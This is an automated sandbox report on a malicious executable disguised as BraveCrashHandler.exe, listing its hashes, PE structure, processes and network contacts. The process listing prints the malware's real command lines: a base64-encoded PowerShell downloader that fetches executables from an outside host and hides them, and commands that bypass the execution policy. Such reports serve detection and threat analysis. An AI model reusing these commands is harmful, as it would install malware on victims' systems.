File name:

BraveCrashHandler.exe

Full analysis: https://app.any.run/tasks/9b185663-c09a-4a26-bad2-eaabca401fb7
Verdict: Malicious activity
Analysis date: August 09, 2023, 20:12:20
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

5C3B422EAA8151BE9C672E8A9051E450

SHA1:

F198F4D2B6F85C94210C726BF07BCCAACE53F061

SHA256:

223E977FB76E79D429B0EEBE265F899E1700F0488FB31AF3274B351699CD2FDA

SSDEEP:

24576:EivR0PaYKGCWBbt9tY4/vIdWiTf/EFT/ui2+0cd2lgEpTE7Gwll6u1XUf:EivrYKorRnircFTmjZE2lgbfD6uqf

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 4028)
      • powershell.exe (PID: 2456)
      • powershell.exe (PID: 4068)

    • Changes powershell execution policy (Bypass)

      • cmd.exe (PID: 3340)
      • powershell.exe (PID: 4028)

  • SUSPICIOUS

    • Base64-obfuscated command line is found

      • cmd.exe (PID: 3340)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 3340)
      • powershell.exe (PID: 4028)

    • Starts CMD.EXE for commands execution

      • BraveCrashHandler.exe (PID: 3752)

    • BASE64 encoded PowerShell command has been detected

      • cmd.exe (PID: 3340)

    • Executing commands from a ".bat" file

      • BraveCrashHandler.exe (PID: 3752)

    • Application launched itself

      • powershell.exe (PID: 4028)

    • Reads the Internet Settings

      • powershell.exe (PID: 2456)

    • The Powershell connects to the Internet

      • powershell.exe (PID: 2456)

    • Unusual connection from system programs

      • powershell.exe (PID: 2456)

  • INFO

    • Checks supported languages

      • BraveCrashHandler.exe (PID: 3752)

    • Reads the computer name

      • BraveCrashHandler.exe (PID: 3752)

    • Create files in a temporary directory

      • BraveCrashHandler.exe (PID: 3752)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.dll | Win32 Dynamic Link Library (generic) (38.3)
.exe | Win32 Executable (generic) (26.2)
.exe | Win16/32 Executable Delphi generic (12)
.exe | Generic Win/DOS Executable (11.6)
.exe | DOS Executable Generic (11.6)

EXIF

EXE

Subsystem: Windows GUI
SubsystemVersion: 4
ImageVersion: -
OSVersion: 4
EntryPoint: 0x393c68
UninitializedDataSize: -
InitializedDataSize: 16384
CodeSize: 35840
LinkerVersion: 2.25
PEType: PE32
ImageFileCharacteristics: Executable, No line numbers, No symbols, Bytes reversed lo, 32-bit, Bytes reversed hi
TimeStamp: 2012:11:16 22:57:03+00:00
MachineType: Intel 386 or later, and compatibles

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 16-Nov-2012 22:57:03

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0050
Pages in file: 0x0002
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x000F
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x001A
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x00000100

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 12
Time date stamp: 16-Nov-2012 22:57:03
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_BYTES_REVERSED_HI
  • IMAGE_FILE_BYTES_REVERSED_LO
  • IMAGE_FILE_EXECUTABLE_IMAGE
  • IMAGE_FILE_LINE_NUMS_STRIPPED
  • IMAGE_FILE_LOCAL_SYMS_STRIPPED

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
0x00018000
0x00291000
0x0002E800
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
7.99861
.rsrc
0x00017000
0x00001000
0x00000C00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
3.333
.data
0x002A9000
0x000ED000
0x000EC200
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
7.97254

Resources

Title
Entropy
Size
Codepage
Language
Type
4092
3.2023
208
Latin 1 / Western European
UNKNOWN
RT_STRING
4093
3.34911
184
Latin 1 / Western European
UNKNOWN
RT_STRING
4094
3.33001
576
Latin 1 / Western European
UNKNOWN
RT_STRING
4095
3.33933
860
Latin 1 / Western European
UNKNOWN
RT_STRING
4096
3.29535
640
Latin 1 / Western European
UNKNOWN
RT_STRING
SCRIPT
4.47325
3680
Latin 1 / Western European
UNKNOWN
RT_RCDATA
SETT
0
48
Latin 1 / Western European
UNKNOWN
RT_RCDATA

Imports

advapi32.dll
gdi32.dll
kernel32.dll
oleaut32.dll
shell32.dll
user32.dll
version.dll
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
39
Monitored processes
5
Malicious processes
3
Suspicious processes
1

Behavior graph

Click at the process to see the details
start bravecrashhandler.exe no specs cmd.exe no specs powershell.exe powershell.exe no specs powershell.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2456powershell.exe -exec bypass -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwAKAAoAaQBmACAAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAEUATQBQAC8ARwBvAG8AZwBsAGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIALgBlAHgAZQAgAC0AUABhAHQAaABUAHkAcABlACAATABlAGEAZgApAHsAfQAKAGUAbABzAGUAIAB7AAoACQBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIABoAHQAdABwAHMAOgAvAC8AdgBhAHUAbAB0AC4AZgByAGUAZQBzAG8AZgB0AHAAbABhAGMAZQAuAGMAbwBtAC8AZgBpAGwAZQBzAC8ARwBvAG8AZwBsAGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIALgBlAHgAZQAgAC0ATwB1AHQARgBpAGwAZQAgACQAZQBuAHYAOgBUAEUATQBQAC8ARwBvAG8AZwBsAGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIALgBlAHgAZQAKAH0ACgAKAGkAZgAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAAvAEcAbwBvAGcAbABlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByADYANAAuAGUAeABlACAALQBQAGEAdABoAFQAeQBwAGUAIABMAGUAYQBmACkAewB9AAoAZQBsAHMAZQAgAHsACgAJAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAGgAdAB0AHAAcwA6AC8ALwB2AGEAdQBsAHQALgBmAHIAZQBlAHMAbwBmAHQAcABsAGEAYwBlAC4AYwBvAG0ALwBmAGkAbABlAHMALwBHAG8AbwBnAGwAZQBDAHIAYQBzAGgASABhAG4AZABsAGUAcgA2ADQALgBlAHgAZQAgAC0ATwB1AHQARgBpAGwAZQAgACQAZQBuAHYAOgBUAEUATQBQAC8ARwBvAG8AZwBsAGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIANgA0AC4AZQB4AGUACgB9AAoACgBpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAALwBCAHIAYQB2AGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIANgA0AC4AZQB4AGUAIAAtAFAAYQB0AGgAVAB5AHAAZQAgAEwAZQBhAGYAKQB7AH0ACgBlAGwAcwBlACAAewAKAAkASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAaAB0AHQAcABzADoALwAvAHYAYQB1AGwAdAAuAGYAcgBlAGUAcwBvAGYAdABwAGwAYQBjAGUALgBjAG8AbQAvAGYAaQBsAGUAcwAvAEIAcgBhAHYAZQBDAHIAYQBzAGgASABhAG4AZABsAGUAcgA2ADQALgBlAHgAZQAgAC0ATwB1AHQARgBpAGwAZQAgACQAZQBuAHYAOgBUAEUATQBQAC8AQgByAGEAdgBlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByADYANAAuAGUAeABlAAoAfQAKAAoAJABmAGkAbABlACAAPQAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUAAvAEcAbwBvAGcAbABlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByAC4AZQB4AGUACgAkAGYAaQBsAGUALgBBAHQAdAByAGkAYgB1AHQAZQBzACAAPQAgACcASABpAGQAZABlAG4AJwAsACcAUwB5AHMAdABlAG0AJwAKACQAZgBpAGwAZQAgAD0AIABHAGUAdAAtAEMAaABpAGwAZABJAHQAZQBtACAAJABlAG4AdgA6AFQARQBNAFAALwBkAEkAbABoAG8AcwB0AC4AZQB4AGUACgAkAGYAaQBsAGUALgBBAHQAdAByAGkAYgB1AHQAZQBzACAAPQAgACcASABpAGQAZABlAG4AJwAsACcAUwB5AHMAdABlAG0AJwAKACQAZgBpAGwAZQAgAD0AIABHAGUAdAAtAEMAaABpAGwAZABJAHQAZQBtACAAJABlAG4AdgA6AFQARQBNAFAALwBHAG8AbwBnAGwAZQBDAHIAYQBzAGgASABhAG4AZABsAGUAcgA2ADQALgBlAHgAZQAKACQAZgBpAGwAZQAuAEEAdAB0AHIAaQBiAHUAdABlAHMAIAA9ACAAJwBIAGkAZABkAGUAbgAnACwAJwBTAHkAcwB0AGUAbQAnAAoAJABmAGkAbABlACAAPQAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUAAvAGQAbABJAGgAbwBzAHQALgBlAHgAZQAKACQAZgBpAGwAZQAuAEEAdAB0AHIAaQBiAHUAdABlAHMAIAA9ACAAJwBIAGkAZABkAGUAbgAnACwAJwBTAHkAcwB0AGUAbQAnAAoAJABmAGkAbABlACAAPQAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUAAvAEIAcgBhAHYAZQBDAHIAYQBzAGgASABhAG4AZABsAGUAcgAuAGUAeABlAAoAJABmAGkAbABlAC4AQQB0AHQAcgBpAGIAdQB0AGUAcwAgAD0AIAAnAEgAaQBkAGQAZQBuACcALAAnAFMAeQBzAHQAZQBtACcACgAkAGYAaQBsAGUAIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgACQAZQBuAHYAOgBUAEUATQBQAC8AQgByAGEAdgBlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByADYANAAuAGUAeABlAAoAJABmAGkAbABlAC4AQQB0AHQAcgBpAGIAdQB0AGUAcwAgAD0AIAAnAEgAaQBkAGQAZQBuACcALAAnAFMAeQBzAHQAZQBtACcACgAkAGYAaQBsAGUAIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgACQAZQBuAHYAOgBUAEUATQBQAC8AUgB1AG4AdABpAG0AZQBfAEIAcgBvAGsAZQByAC4AZQB4AGUACgAkAGYAaQBsAGUALgBBAHQAdAByAGkAYgB1AHQAZQBzACAAPQAgACcASABpAGQAZABlAG4AJwAsACcAUwB5AHMAdABlAG0AJwA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
3340cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\37525ADO.bat" "C:\Users\admin\AppData\Local\Temp\BraveCrashHandler.exe" "C:\Windows\System32\cmd.exe—BraveCrashHandler.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\usp10.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
3752"C:\Users\admin\AppData\Local\Temp\BraveCrashHandler.exe" C:\Users\admin\AppData\Local\Temp\BraveCrashHandler.exe—explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\bravecrashhandler.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\user32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\usp10.dll
c:\windows\system32\lpk.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
4028powershell.exe -exec bypass -enc cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAC0AUwBjAG8AcABlACAAQwB1AHIAcgBlAG4AdABVAHMAZQByACAAQgB5AHAAYQBzAHMAIAAtAEYAbwByAGMAZQA= C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
4068"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-ExecutionPolicy -Scope CurrentUser Bypass -ForceC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\lpk.dll
c:\windows\system32\user32.dll
Total events
4 696
Read events
4 682
Write events
14
Delete events
0

Modification events

(PID) Process:(2456) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\178\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
Executable files
0
Suspicious files
7
Text files
1
Unknown types
0

Dropped files

PID
Process
Filename
Type
4068powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:446DD1CF97EABA21CF14D03AEBC79F27
SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
4068powershell.exeC:\Users\admin\AppData\Local\Temp\as1wbljs.sx1.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
2456powershell.exeC:\Users\admin\AppData\Local\Temp\bptu22tn.tkc.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
2456powershell.exeC:\Users\admin\AppData\Local\Temp\eylywadr.3tn.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
4028powershell.exeC:\Users\admin\AppData\Local\Temp\vkbkhfn0.ktf.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
4028powershell.exeC:\Users\admin\AppData\Local\Temp\1sizx2bx.x4p.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
4068powershell.exeC:\Users\admin\AppData\Local\Temp\hgg5utov.w4n.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
3752BraveCrashHandler.exeC:\Users\admin\AppData\Local\Temp\37525ADO.battext
MD5:9B97285ABCDA16E3596FF9DCFE6FC6E9
SHA256:819CADE5DA2A3429DC30510648431E5DC854075EBBB9C424C607246F8BC4B56E
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
7
DNS requests
4
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
2456
powershell.exe
172.67.173.27:443
vault.freesoftplace.com
CLOUDFLARENET
US
unknown
2640
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
2456
powershell.exe
16.182.40.146:443
rigsvault.s3.us-east-1.amazonaws.com
—
US
unknown
2456
powershell.exe
54.231.230.202:443
rigsvault.s3.us-east-1.amazonaws.com
AMAZON-02
US
unknown
2456
powershell.exe
54.231.195.170:443
rigsvault.s3.us-east-1.amazonaws.com
AMAZON-02
US
unknown

DNS requests

Domain
IP
Reputation
vault.freesoftplace.com
  • 172.67.173.27
  • 104.21.63.238
unknown
rigsvault.s3.us-east-1.amazonaws.com
  • 54.231.230.202
  • 54.231.195.170
  • 16.182.40.146
  • 54.231.167.98
  • 52.217.86.8
  • 54.231.199.66
  • 52.216.145.214
  • 52.217.47.136
unknown
dns.msftncsi.com
  • 131.107.255.255
shared

Threats

No threats detected
No debug info
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Reports
BraveCrashHandler.exe